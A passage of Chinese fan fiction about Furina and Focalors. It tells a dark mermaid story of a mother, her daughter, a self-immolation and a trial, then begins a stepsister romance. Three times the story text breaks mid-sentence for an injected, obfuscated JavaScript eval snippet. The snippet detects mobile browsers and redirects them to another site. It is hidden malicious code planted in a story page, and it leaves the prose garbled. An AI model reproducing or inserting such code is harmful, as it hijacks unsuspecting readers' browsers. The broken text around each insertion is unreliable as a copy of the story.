这一进程在大学时稍微减缓。大学的唯一好处是可以说不,听说我几乎成了幽灵一样的存在。踏青,不,聚餐,不,联谊,不。你知道隔壁那个著名的和尚系吧,好几个男生都对你很感兴趣呢。我想你应该知道这一点:你的银发、挑染和异瞳都很神秘。那个小女巫的联系方式,可以给我们吗?他们是这么说的。谁也不会有女巫的联系方式,那可是女巫哦,怎么样,我的回复很合宜吧? 我点点头。这就是我和大学同学的全部交集。我所有的空闲时光都在为剧团打工,出演许多龙套、配角和主角。我可以自信地说,剧团的台柱就是我呢。后来我对剧团长说,我非常需要向外突破,因此想要见识一下古老东方的戏剧。届时学成归来,一定可以再上一个台阶。那时我已经赢得满堂喝彩,为他每场每人赚取一百欧。于是他欣然应允,我再度签下为期十年的卖身契。总之——留学的两年时光非常愉快。 但正是留学期间的心理课程让你意识到了芙卡洛斯的怪异之处,是吗?那位耐心的医生问道。 可以这么说吧。和我的尾音一起响起的还有聒噪的铃声。我知道今天探视的时间就到此为止了,于是礼貌地点点头,起身离开。 我没有说且不会说的是,在留学期间对我影响最大的不是那门心理学选修课,而是另外一门:《美人鱼研究》。三十年前,人鱼还是水族馆炙手可热的宠儿,各种演出层出不穷。这座海滨城市面朝无垠的内海,一直向前,可以直达太平洋。各类人鱼喜欢顺着暖流来此地的港湾小栖,数百年来,它一直是最大的人鱼出产地之一。 人鱼是一种鱼类。这看起来是一句废话。我的意思是,人鱼和鲨鱼、虎鲸、鳐鱼等水族馆的常客们一样,没有人权。但人鱼有自己的思想,这是他们痛苦的根源。但没有教科书会说明这一点,没有人会真正懂得人鱼。 直到三十年前,人鱼一朝覆灭。在孜孜不倦捕捞五年后,当局无可奈何地宣布,这一种族业已灭绝。而就在他们消失的前一天,主要的人鱼捕捞地当日吞吐量还是一个不可思议的数字。生物学家们对此无能为力,只能劝告人们接受人鱼从此只在童话中活着的事实。而水族馆里那些仅存的人鱼也没有被放归大海,作为研究对象为人类的参观和科研事业奉献一生。 那是我怀疑芙卡洛斯的开端。我早就注意到,时光没有在她身上镌刻任何痕迹,三天与三十年没有本质区别。芙卡洛斯不会被时光煮沸。那天早上,我拔掉插头,倒出滚烫的咖啡。我对她说:等咖啡凉了就出发。她乖顺地点头,像小时候一样在我额头印下一个告别的吻。 然后我听到水流冲刷海岸的声音,心血来潮地问她,要不要一起去海边走走,趁她现在还清醒。 她犹豫地点头,又摇头写道,会给你添麻烦吗? 我一边想着刚刚那个湿润的吻,一边漫不经心地答道:“你添的麻烦还少吗?——走吧。” 在海边芙卡洛斯显得格外精神。我去买冰淇淋,回过头来就看见她义无反顾地往大海深处走去。我在她背后喊了两声,没有回应。情急之下,我将甜筒插进沙子堆里,便奔入初夏的海。正在涨潮,有一些冷意,我一边艰难地逆行,一边探身去抓芙卡洛斯瘦削的肩膀。 “喂,芙卡洛斯,你不要命了吗?” 水已经淹没膝盖。我毫不怀疑,再向前走一段路,或者,在某个断崖处脚下忽然一空—— 这个女人就会从我眼前彻底消失。我的心跳漏了一拍。 但我到底抓住了她。紧紧地。 芙卡洛斯顺从地将手放进我的掌间。我们交握的双手沉在水里,被水流散射成奇怪的形状。恍惚间,我感到有什么湿滑冰凉的东西舔了一下手腕,忍不住战栗一瞬。再低头定睛看去,什么也没有,只余我们赤条条的四条小腿,彼此偏移地纠缠在一起。 回去时芙卡洛斯依然兴致很高。她一刻不停地在纸板上写写画画。她问我读什么专业,我第一百零一次回答,学戏剧的。这个专业是找不到工作的,除非—— 我本来想说,除非像我一样,被剧团长慧眼相中,收入囊中。 但芙卡洛斯真诚地建议道,也许你可以去街头表演,我相信大家会喜欢的。 然后呢?我们不会有面包。 哦,也许大家会为你献上玫瑰! 得了吧,芙卡洛斯,玫瑰能填饱肚子吗? 芙卡洛斯眨了眨眼睛,不吭声了。我感到不妙,追问一句,你不会真的以为玫瑰能填饱肚子吧? 从那时起,我开始怀疑芙卡洛斯其实是一条人鱼。没错,一条长着两条腿的、会直立行走的人鱼。 确凿的证据来得很快。如果是在法庭上,这些呈堂证供便足以定罪。回国后,我们继续在巴黎蜗居,远离潮汐。某天夜半我听到不详的响动,像濒死的鱼在案板上奋力挣扎。实在太过困倦,我本想明天再去谴责三更半夜做饭的邻居,但这声音愈来愈大,愈来愈近,已经无法再安然入睡。我不情不愿地爬起来,打开摇摇欲坠的电灯,低瓦数灯泡艰难地剪破黑夜一角,一条硕大的鱼尾在我们家散布漏洞的地板上濒死挣扎。青蓝的鳞片如女巫的魔药,闪着诡异虚幻的光,有的因缺水而褪色,像死鱼白目惨淡地哀眠;有的则被地板上卷起的木屑刮开,露出其下血丝掺杂的红肉。无疑,我想到鲁昂屠夫家的案板,只有死肉横陈,没有活物能够袒露其上。那一刻我甚至松了一口气。我想,这样就说得通了。她的虚弱无力、哑、不通人事、企图溺死我的冲动,我的欲望、恐惧、口渴和对海的向往。一切都说得通了。 芙卡洛斯是一条离水的人鱼。芙卡洛斯是我的母亲。我也是一条人鱼。 我放好水,上前把她抱进浴缸,那尾巴又湿又凉,却还是狰狞地向我展示伤口,叫嚣着疼痛与渴求。最后,我犹豫了几秒,打开家里最后一包盐,全部撒进浴缸。随着水汽氤氲,她逐渐充盈起来,面色红润,宛如少女。 第二天同事问我,昨天半夜是去当怪盗了吗,黑眼圈真重。我冷静地回答道,是的,其实我是怪盗,专门倒卖人鱼。她大笑道,谁不知道三十年前人鱼就绝迹了,发财带我一个——你是要卖去水族馆还是研究院? 有什么区别吗,我说,殊途同归。 下班回来,我踢掉鞋子,甩掉背包。屋子里很幽暗,春天的气息只从窗帘后头溜进来一寸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099051|163753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只有满面爬山虎叶间一点空隙那么多。我一个房间一个房间找过去,果然在浴室收获一条悄无声息的人鱼,浴缸太小,尾巴垂落在外,没有被水浸泡的鳞片都委屈地褪色,如同人类工地上无机质的灰败水泥。我叹口气,双手从她的腋下穿过,稍稍抱起一些,好给那条可怜的尾巴腾出空隙。于是,这只鱼缸终于严丝合缝地折叠进一条人鱼。 你不得不承认她很美。无论是用人鱼的标准,还是人类的标准。她的肤色很白,一种很健康的白,微微透着圆润的粉红,不像长久泡在水里而肿胀出的腊白。尽管她已经孱弱地活了这么久,憔悴的生活却没有使她衰老分毫。她已经四十三岁了。所有人都得承认,这个女人根本就没有四十三岁。身份证上的年龄会说谎。 二十三年前,芙卡洛斯从来没有想过自己会有一个女儿,但命运总是不如人意。好在她很美,芙卡洛斯曾自恋地写道,这样好的基因没有流传下去,会是世界的损失。所以世界不顾她的意愿,强硬地塞给她一个女儿,几乎就是她本人的翻版。 那就是我。我就是泥沼本身。也许芙卡洛斯是因为有了我,我们家才乱得像一滩烂泥。每个人都发现自己的脚趾融在泥里,挣扎得愈用力,陷得愈深。 有时候我也会想为什么我没有那样一条绚烂的尾巴,但没有尾巴也许是一件好事,对我来说。 我不知道芙卡洛斯是怎么生下我的。倘若和人类一样,那畸形的脐带一定纠缠了我们二十三年。但我开始享受那咸腥的吻,早上离家前,和晚上回家后。她每一次的吻都像海风裹挟着千万年前的水汽,在我额头停驻一瞬,仿佛在为我施加古老的祝福。在她的人鱼身份曝光以后,我决心让她尽量过得舒服一些,可能的话,不会再因为缺水而像脱水鱼干一样枯瘦空瘪。但我毕竟只能活在巴黎,那长达十年的卖身契不是一纸空文,而巴黎离海那么远。 于是我们家的水电费开始直线上升,我不得不给房东解释自己并没有半夜玩水的习惯。她狐疑地看我一眼,堆在皱纹里的精明小眼睛在金丝边的眼镜后上下打量我,我有些底气不足地说: “我很喜欢泡澡,就是这样。” 随着水汽丰盈,芙卡洛斯日渐圆润完满。她现在夺目辉煌,宛然文艺复兴时期教堂穹顶上珍稀颜料绘制的完美壁画。她也重新开始出门,我们走在一起总是被询问是不是姐妹。 “去哪儿了?” 有一天,我实在忍不住好奇心,如此询问。我记得幼时她也曾如此频繁地外出,虽然并不能带回金钱或食物。后来,她昏睡的时间越来越长,身体的状态越来越差,终日被我锁闭在巴黎逼仄一角的小房间里,才中断了这种行为。 芙卡洛斯再一次用她那双无机质般死寂、却会说话的眼睛看向我,楚楚地。我有些狼狈地移开目光。 她伸出纤长的食指,抵到我的嘴边。我想说我明白她的意思,嘴唇挪动一下,上下唇瓣正好扣住一段指节,神秘而妩媚的触感。柔软的……鲁昂夏日午后的阳光下葡萄变成宝石般的紫色……冰凉的……在遥远异国的沙滩边攀上手腕、倏忽而逝的鱼尾……可口的……第一次去巴黎时剧团长给我的一小块松软的可颂…… 芙卡洛斯轻轻开口。她小声、小声地歌唱。因为我们赖以栖居的是如此简陋、如此单薄的木板小屋。随着她的喉咙摆脱束缚,她的头发开始自燃。湛蓝的火焰如神圣光环将她收拢。那条丰腴的鱼尾也渐渐显出形状,轻轻盘踞在我的腰侧。我担忧地伸出一只手去触碰,却被她轻轻地拉住,扣进自己的手心。 她笑着摇头。 而那歌声如梦似幻,把我整个人轻轻托举起来,像在一个巨大的泡泡里徜徉。我无师自通地懂得了这没有歌词的声调的含义:芙卡洛斯说,我给你讲个故事吧,我还从没有给你讲过睡前故事呢,芙宁娜。 9. Flamme Flétrie枯焰(三) 人鱼离水实际上已有百年之久。他们不是主动要混进人类社会,而是实在无计可施。他们不愿在浅滩度假时被人类掳去,从此作为被观赏的玩意、被研究的物种失去自由。他们更憎恶那些被人类盛赞的勇士与探险者,试图发掘失落的亚特兰蒂斯,那是属于人鱼的城市。而最忍无可忍的是,自从捕鱼船开始搭载声纳系统,他们的世界就完全毁了。没有人鱼能在海底忍受一天二十四小时不断的噪声,高分贝呐喊出人类装修时似乎要把天花板钻通的架势,在耳膜上落雨似地溅起一圈又一圈涟漪。 如果能够像人一样用两条腿行走,一样敏捷,一样习惯,就能混入人类的社会。于是他们向深海女巫告解,求来一瓶毒芹汁,能让他们拥有双腿,却也失却嗓音。 于是他们上了岸。 从那时开始,芙卡洛斯知道他们回不去了。无论如何都回不去了,哪怕一夜之间所有的捕鱼船都撞上冰山。没有人鱼想要再回到海底——单一、黑暗、寂静、贫瘠的海底。那时候他们吃各种深海鱼类维持生命,怪模怪样,口感一般,能感到坚硬的鳞片如何划破喉咙,又如何在胃里被酸液腐蚀。那时候他们随着暖流去浅海度假,却十有八九落入人类的陷阱,从此永别挚爱的海洋,做另一个族群的奴隶、玩物和囚徒。 芙卡洛斯不想过那样的生活了。没有人鱼想要再过那样的生活。在他们上岸前,留守在族中的老人、智者、朽木曾如此警告他们: “小心藏好自己的尾巴。” 人类是一种排外的生物,笃信非我族类,其心必异。芙卡洛斯一直小心翼翼地践行着这一忠告,尽管其他人鱼嗤笑老人是因自己的身体如风中残烛,有心无力,才留在海底。他懂什么人类,他甚至没有见过人。他们说。 因为这句话,有一部分人鱼临阵退缩,选择留下,他们在那段时间里陆续成为人类的猎物。毕竟,人类从不知满足。贵族豢养人鱼,欣赏他们曼妙的曲线;国王索要人鱼,他们的肉鲜嫩可口;工厂收购人鱼,将油脂制成经久耐烧的燃料,剩下的塞进盛销一时的人鱼罐头。于是城市灯火彻夜长明,人鱼的血肉甫一上岸便被瓜分殆尽,谁都以为它们与海中之水一样,蔚蔚庞然,取之无尽。 “所以,你是去看望那位智者了?” 芙卡洛斯轻轻摇头。她举起另一只手,指尖顺着我的下颌流动,途经肩膀和手臂,牵起我的右手,十指紧密交错在一起。她继续歌唱。 海中的人鱼灭绝,陆上的人鱼暴露。这是命运。 女巫没有告诉他们,人类是一种会衰老的生物。很快,他们的奇异之处便被发现。人类怎能容许掌握了长生与青春秘密的人鱼安然离开?在追捕过程中,有人鱼慌不择路地现出鱼尾,跳进海中。于是这个秘密不再是秘密,人类世界一片哗然。 “这段历史我没有学过。” 芙卡洛斯忧伤的双目凑近了。我闭上眼,感到额头落下沉重绵长的一吻。而那湛蓝的火焰没有温度,像冰川碾过我四周的空气。 傻孩子,你学到的是什么历史呢?他们只有活体解剖的标本,剩下的人鱼都在黎明第一缕晨光中化为泡沫。所有被端上餐桌、砌进罐头的人鱼都并非自然死亡。人鱼本就是生无实形死无肉身的种族啊。我们生来是大海的精灵,死后是水系的浮露。与其被他们折磨而死,不如抛却自身全部的水分,重归万水的循环—— 我抓住她,不让她的唇从我的额头离开。我问: “所以你去干什么了?” 芙卡洛斯去找女巫。太可悲了,面对这个人吃人鱼的世界,她从来痴心妄想,始终赤手空拳,总是一无所获。而后,这世上真的只剩她一条人鱼了。她去找女巫,要把自己一分为二,窳败的肉|体和纯然的灵魂,从此灵与肉不再和谐圆融。于是女巫给了她一把最锋利的刀,能够切割浑然一体的身体与灵魂,然后取走她一半澄净的灵魂作为报偿。自那以后,她活着的每一天都在燃烧剩余的灵魂。而那团肉一日日长大了,像真正的人类一样,每过一天,就腐烂一点。无论是灵魂还是肉|体都在奔向死。死的别名会是自由吗? 她还要最后一条人鱼真的成为人,从此不用魂牵梦萦那回不去的故乡,沉没的亚特兰蒂斯,从此忘却深沉的仇恨与灭亡,无知无觉地安享人生。但她已经一无所有,唯余一半残破的魂魄。女巫说,你的灵魂非常美味,我愿意收下。芙卡洛斯说,若我彻底消失,新生的孩子又该如何融入人类社会?至少,让我燃尽剩下的一切,陪她再走最后一段路吧。于是,芙卡洛斯只能用人鱼的寿命同女巫交换深海神骸凝结的甘露。她用干渴的嘴唇盛放珍贵的露滴,千里迢迢赶回,在我的额间印上一吻,令我的本质转变,鱼尾蜕形双腿,灵体化作肉身。女巫警告她,这种逆天而行的戏码只能徐徐图之,从来不能一蹴而就,你要小心,不要引火烧身。于是她日日跋涉,日日予我两个克制的吻,也日日衰疲。 原来这个世界才是真正残忍的母亲,把我们带到这个世上,又决绝地抛弃我们。而我那可怜的、虚弱的、坚强的母亲,不过是与我同病相怜的姐妹。我的眼泪不受控制地流溢,像汪洋肆意地冲出身体的每一处孔窍;芙卡洛斯的手指便攀上我的脸庞,试图拂去这些不属于大海的浪花。 芙卡洛斯说,我们不该上岸的。可我们再也回不去了。最后,我们只能是异乡唯二的同乡人,抱团取暖顺理成章。她用那双苍凉嶙峋的手捧起我的泪珠,轻轻啜饮一口,而后歌唱着告诉我,人类的眼泪也是咸的,与人鱼没有什么不同。 我便哽咽着说,听说人鱼的泪水会变成珍珠,原来都是假的。 芙卡洛斯笑道,是,也不是。人鱼的骄傲便是天籁歌喉,但被人类捕捉的人鱼不可能开口;而选择放弃鱼尾的我们,同时也付出了最昂贵的代价。人鱼一生中的最后一滴眼泪会变成珍珠,然而,因这无可违逆的命运,我们大多不甘地含恨而死,掺杂着红黑色杂质的珍珠自然不算什么稀珍。可是,芙宁娜,即便你现在已经是完全的人类了,我还是衷心地希望,你的最后一滴眼泪纯净无瑕。 她的唇瓣是冰凉的。我的泪是浊的。 为什么你从来没有问过我,是否想要作为人活下去?你难道没有一刻怀疑过,我想要回到大海,做一条人鱼? 在你很小很小的时候……那时,我也不明白自己的选择是否正确,而灵魂每时每刻的灼痛感让我几乎无法清醒。我记得,我曾三度将你按进水中,你的挣扎一次比一次厉害。芙宁娜,活下去是人的本能。只有人才会怕死。 可我常常想到死。人生的痛苦没有尽头…… 是的,是的,死也是人的本能。可是还不到时候,芙宁娜,所以你才会不由自主地挣扎。 来吧,来吧,我们看海去。芙卡洛斯的歌声蛊惑着我,又空灵,又飘渺。在黎明的第一缕光从地平线处奔涌而来时,那股蓝焰蓦地炸裂,从上而下喷涌开来,将她整个笼罩其中。我抱住她,嚎啕大哭。 我没有问她如何在喝下毒芹汁后唱出人鱼的最后一支挽歌,因为那熊熊燃烧的火焰已经说明了一切。 至少,至少到海边……我在空中乱抓,可手中只有流水徐徐而过。 在这里,就在这里,大西洋和地中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099052|163753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海的水汽交汇之处,芙宁娜,无数个早晨或夜晚我目睹你一身疲惫地走进那个小屋,那时候我就在想,你多么努力、多么坚韧啊。我带给你贫穷困顿的生活,而你那样喜爱歌唱,在剧团里唱了那么久,那么久,我祝愿你能一直歌唱。因为你是自由的,芙宁娜。 所以你不能现在把我抛弃,芙卡洛斯。 但我也将自由,芙宁娜。 从火焰到灰烬,原来只是一刹。火焰枯萎后,在空中迸出最后一颗火星,绽成一朵转瞬即逝的花。我跪在原地,身前是一具烧得焦枯的尸体,和满屋纷扬的余烬。一股奇异的木香在屋内搅动,大概女巫是用梣木给芙卡洛斯做的肉身。焦糊呛人的味道被风吹得四散,不远处警车和消防车的轰鸣搅入沉重的空气。我目送那些细小到几乎看不见的泡沫远去,微微摊开手心—— 一颗圆润光滑的珍珠在晨曦中沉静地折射虹光。没有杂质。 “芙宁娜小姐,早安。我再同您确认一下,星期日早晨,您在和芙卡洛斯女士共同租住的房屋里被抓捕,面前是芙卡洛斯女士的遗体,已经烧焦到几乎辨认不出。作为她唯一的家属,您指认了尸体身份,但声明凶手并非是您,对吗?”二次探视,也该是最后一次了吧。我坐下的时候,对面的人显得很着急,“请您再好好回忆一下!如果是您所为,她为什么毫无挣扎,您为什么毫发无伤?这不合理!凶手一定另有其人!” 我叹了口气:“我一开始就说过,芙卡洛斯是自杀身亡的。” “但检方认定无人精神状态正常的情况下会自焚。芙宁娜小姐,您是什么时候发现的、当时境况如何,您可以再同我们说一遍吗?” 我想了想说,唉,你还是太急了。我们上次说到哪了?对,我是一枚罐头,沙丁鱼死不瞑目,龟缩在浮油之下溃烂。芙卡洛斯也一样。我们终日生活在绝望之中。你知道吗?人本来是纯净的,一旦出生,就会被空气腐蚀,越是长大,越是腐朽。于是越是活着,越是无望。 “但您也说了,她不是会自杀的人。” “嗯,我是这么说过。她是为了……她是为了不拖累我,才自杀的。” “……您觉得您能够说服陪审团吗?” 我抬起眼来看他:“这重要吗?重要的是,检方没有关键性的证据,疑罪从无——我一开始就说过,你们的努力都是徒劳,何必再为我费心?” “顺便一提,芙卡洛斯和我——我们都绝不会向命运低头。” 庭审很快结束,证据不足,无罪释放。现场没有任何证据证明我存在限制芙卡洛斯人身自由的行动,因此后续的一系列推断都不成立。我知道记者们要怎么写才博人眼球,杀母疑案凶手逍遥法外?那都无所谓了。从今往后,再也没有什么人鱼,什么女巫,只有作为人类的芙宁娜将度过她短暂的一生,而那迟迟未落的法槌恰似长鸣的丧钟,暗示我这颠沛流离的一生被命运玩弄的底色。 我是人鱼于此世的移民,也是这一族群不纯的遗民。我是一个爱上女人的女人,一个爱上人鱼的人。 我知道世界上最后一条人鱼也死去了,我没有机会也没有能力将她放生。鱼死网破。而我可怜的爱情在此之后才出世,在那之前它酝酿了芙卡洛斯的半生,那么长时间里,一直不肯降临,直到母亲的脐带砰然断裂,仓皇而出,于是呱呱坠地时已然一个苍老的婴儿。 在熊熊烈火中,芙卡洛斯用尽全力,嘴巴开阖,把那滴咸涩的泪水递到我的唇边,将整片彼此相连的水系送给了我。于是整片枯焰摇曳在永生永世的记忆里,经久不熄。 好吧,我原谅你了。 10. Bye Bye Furina(上) *芙宁娜X芙卡洛斯,非原作向,整点甜的。 芙宁娜八岁,已经戴上冷硬的表情面具,终日用上上个世纪的礼帽掩饰眉眼,被需要称作父亲的男人牵着手,怀里抱着同她没有半分相似的娃娃抵达异乡。下飞机的时候正是夜晚,地中海的风毫不客气地将她稚嫩的脸庞刮得生疼。来接机的女人笑得甜美,她却莫名觉得那笑容矫揉造作。 寒暄短暂,出乎意料。也是,毕竟他们自此将属于一个完整的家庭,不该生分。芙宁娜讽刺地想,为了这个完整的家庭,她要当一个小丑了,她不得不当一个小丑。她的指甲深深地嵌进娃娃的身体,几乎要藏进棉花。 “来,芙卡洛斯,和妹妹打个招呼吧。你们的名字很相似呢,真有缘分,要好好相处啊。” 那个女人身后转出来一个同芙宁娜身高相仿的少女,穿着颇具南法风情,嫩黄和海蓝碰撞着流出笑容,在一个尚且太早的年纪显示出女人的风韵。十只手指涂着不同的蓝,在指尖晕染出一片素未谋面的海洋。她把这晃荡的海递到芙宁娜面前,漫不经心地。 下一秒,芙宁娜打掉了那只手。沉默碎了一地,又被大人们捡起来,掩进欢声笑语。 那是怎样的一只手?白得晃眼,在夜晚昏暗的灯光下。不得不承认,如此柔软,虽然仅仅接触一秒。 尽管在一个学校、一个年级、甚至一个班级,芙宁娜和芙卡洛斯也从不同时出门。她们见面礼貌地打招呼,然后相对无言,做和美家庭里乖巧的孩子,明了自己的角色和戏份,从不逾越。是个聪明人,芙宁娜想。她应当恨她,不是吗?如果她不恨她——她简直不知道要在她面前摆出什么样的表情。她还是恨她吧。 芙卡洛斯似乎也不在意继妹的态度。她的生活没有什么改变,以一种成年人的淡然宣告自己的胜利。芙宁娜留心她的一举一动,她想这是因为恨。她注意到芙卡洛斯早晨的牛奶总是喝不干净,随身水杯上要贴一只小猫,发卡卡在耳朵正上方,稍长的袖子卷起一圈不到,剩下半圈耷拉着,随着主人的动作绕着空气打转。有时芙卡洛斯也会察觉到窥视的目光,回过头来对上她的眼睛,嫣然地笑,像是早已看穿了她。她笑得太妖娆,芙宁娜别过头去。 直到某次父亲周末应酬带上她们,在高尔夫球场和同僚与上司谈笑风生,她们站在一旁冷眼看着,被一句无心之言点破: “这两个孩子长得真像,果然是姐妹!怎么好像关系不怎么好?” 毫无疑问,她们同时看到了男人尴尬的笑容。芙宁娜还在犹豫的时候,芙卡洛斯的手已经自然而然地牵起了她的:“妹妹有点怕生,爸爸,我可以先带她去那边玩吗?” 多年以后,芙宁娜依然要感谢那个未曾相识的陌生人。那是她和芙卡洛斯第一次牵手。她的手果然很软,小孩子稍高的体温,低纬度夏日汗津津的皮肤,和阿尔卑斯山脉下因成日劳作而布满硬茧的手截然不同。芙宁娜有些羞愧地,在她们远离了大人的视线后,努力将自己的手往回抽: “谢谢你,芙卡洛斯,到此为止吧。” 但芙卡洛斯不肯松手。她说:“我们好好谈谈——我一直想和你好好谈谈。” “和我谈谈?” 芙卡洛斯直勾勾地盯着她:“我想和你做朋友。” “我以为……你应该不缺朋友?”芙宁娜在她眼中看到闪烁的日光,那日光太过明亮炙热,逼得她微微后仰。 芙卡洛斯想了想说:“但我缺一个叫芙宁娜的朋友。” 小孩子的友谊总是这样莫名其妙,但是芙宁娜接受了。她有什么理由不接受?那双手在她眼皮下摇晃,把一些遥远的东西拉到近前碾来转去,比如海、太阳和天穹。她靠近她的呼吸,在那绵长的气流结束之前,干涸的心都是盈满的。她忘了她该恨她,她要恨她。事实证明,她很难去恨什么人,她唯一能恨的就是自己。 芙卡洛斯带着她穿过大街小巷,去一家著名的咖啡馆品尝大人的饮料,在和她们差不多高的柜台上排开硬币,一人一边啜饮同一杯颜色不详的饮品,一起被苦得皱起五官。她指着芙卡洛斯的脸笑得直不起腰,被对方一把钳住下巴,喂了一口芭乐汁。后来她们去旁边的冰淇淋店舔到花脸,还要再含两颗糖果。 或者,一起爬上矮山,气喘吁吁地远眺被层叠的房子遮掩的海岸线,近处的树木虬枝葱茏着盘成一朵朵真菌的模样,恰到好处地将最高的钟楼嵌在它们中央。芙卡洛斯煞有介事地讲述钟楼怪人的恐怖故事,芙宁娜吓得捂住耳朵时,她又笑着说只是玩笑。 在海滩上她们用沙子做碉堡或画布,向上或向下创作,等夕阳把她们都晒得暖洋洋的,于恰到好处的蓝调里把一天努力的成果肆意摧毁,轻易地,无情地,毫不留恋地,满不在乎地,踏过涨上来的潮水,光脚踩着仍有些烫的砂石路回家。 没有功课的午后,她们在客厅研究橙色屋顶和黄色墙壁如何做大海的补色,将城市的风格调和为一种介于冷暖色调之间的气质。电视里放着无聊的肥皂剧,那声响将因只有她们两人而显得庞然的空间填满。最后,芙卡洛斯站起来,说她们该吃饭了;芙宁娜顺从地起身,小腿碰到她的,空调房里待了一下午,冰凉又黏腻。 这些情节太俗套了,小孩子生活中的全部:包装靓丽的糖果,无人看管的假日,荒郊野外的山海,芙宁娜回忆起来时,想憋出一个嘲讽的笑容,却还是勾起嘴角。那毕竟是她的童年——严谨地说,二分之一的童年。 与芙卡洛斯相遇前的另外二分之一已经淡到几乎看不清。至于为数不多的相片,也已经遗落在时间的深渊中,同她们扔进海里的贝壳没有两样。芙卡洛斯说,那就现在开始拍照吧,我们一起,等我们老得满头白发的时候,还可以肩并肩一起欣赏模糊的写真。到那时候,我的女孩,你仍是我的女孩,永远不会老去。 芙宁娜说好吧,但是你为什么不依靠自己的回忆呢? 芙卡洛斯说,也许回忆更模糊。人的记忆总是这样,在你最需要的事情上掉链子。芙卡洛斯只比她大三个月,但说起话来已经有了大人的眉目,用成熟的谈吐包裹她的妩媚。芙宁娜嗅到这丝不合时宜的甜香,一阵天旋地转,灼热爬满双颊和颅内。她恍惚地想,她要么病了,要么醉了。她宁愿是前者。 有时候芙宁娜显得呆呆的,芙卡洛斯总忍不住多叮嘱两句。特别是在问到父母的时候,芙宁娜总是说:我没有母亲。那父亲呢? 芙宁娜常常愣上两秒,芙卡洛斯接上话说,现在我们分享一个父亲啦!于是对方的目光就变得恳切而抱歉,自觉转移话题。 这样不好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099053|163753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打发走好奇的发问者,芙卡洛斯对芙宁娜说。他毕竟是你的父亲呀。 芙宁娜慢吞吞地说:可是,在登上那趟前往南法的飞机之前,我没怎么见过他。 芙卡洛斯说,那是因为他太忙了!他和我母亲说过,他很后悔—— 芙宁娜打断了她:不要说这些没意思的事情了好不好? 好吧,都听你的——那我们出去玩吧。芙卡洛斯把一条贝壳项链挂到她的脖子上,后退几步上下打量,满意地点头道,我就知道肯定很适合你,我的女孩。 她们去爬山。穿过错落在橙黄墙壁间的小路,赶在最后一点夕阳收敛前攀到崖上,把十六岁的夏日甩在身后。海崖孤零零地伸出去,横在海湾间,叫人想起丘比特之弓中间搭着的那根箭羽。芙卡洛斯这么说的时候,芙宁娜正忙着在崖边找一处合适的凹陷安放疲软的身体。她想了想问,那这支箭岂不是永远停留在这里,不会刺穿任何一个人的心脏? 芙卡洛斯说,也许它早就已经扎进某个人的心里,随着她的动作愈深愈紧,直到每一次呼吸都夹着疼痛,血腥气从肺里直攀升到喉管。 别吓我,芙宁娜说,这不是笑话吧? 芙卡洛斯在她身边坐下来。芙宁娜的目光沿着她赤裸的小腿向上,在她淡色的、潮湿的唇瓣上停留两秒。海湾里一半的海舒展着自她身后延伸出去,在地平线下折射的余光里泛着粼粼的波。芙宁娜兀自重复道,这不是笑话吧? 芙卡洛斯笑了,不,这的确是个笑话。 她揉了揉芙宁娜的头发。海风早就将这些柔软的丝状物吹得四散,遮掩主人真实的表情,芙卡洛斯只能看见剩下的一点莹白肌肤,被整片天地晕染成蓝调。 芙卡洛斯最后说,很咸,对不对? 芙宁娜问,是指海风吗? 芙卡洛斯说,不,是你的皮肤。我的女孩,你也许不记得了,下飞机的时候,你周身带着山脉厚重又轻盈的气息,千万年的地层和荒原遍地的野花融为一体。现在你同我一样,皮肤湿润,结满盐晶。我们都是海风里的孩子了。 芙宁娜皱着眉头,想嗅嗅自己的脸,是否真如芙卡洛斯所说,但很快发现这是个悖论。她便转过头去,芙卡洛斯的长发拂过她的脸颊。她想这也许是海风的授意,鬼使神差地靠过去,用嘴唇试了试芙卡洛斯的皮肤,夕阳将之蒸得发烫,潮湿的海风又为之降温。好咸。她很认真地对芙卡洛斯说。 芙卡洛斯大笑,然后说:听说,从这里跳下去还能生还的情人,是被上帝认可和保佑的爱侣。 芙宁娜顺着她的目光向下看,在那里,海浪不知疲倦地撞上岸边礁石,在黑夜里只余声响。芙宁娜估摸着高度说,也许不会死,但…… 我的女孩,要试试吗。轻佻的语气,像在开一个无足轻重的玩笑。 芙宁娜咽了口口水,她听到自己的心跳。 芙卡洛斯说,试试吧,当我求你,嗯? 为什么呢?我们不是姐妹吗?芙宁娜一面说着,一面把自己的手塞进她的手心。她兴奋地痉挛,方知晓身体里的狂热一直积蓄着等待喷发。 回应她的是笑容,也许不朽,也许转瞬即逝。总之,芙宁娜回想往事的时候,时间腐蚀了那个女孩丰润的下唇,她握紧脖子上的项链,知道追忆只是徒劳。 11. Bye Bye Furina(下) 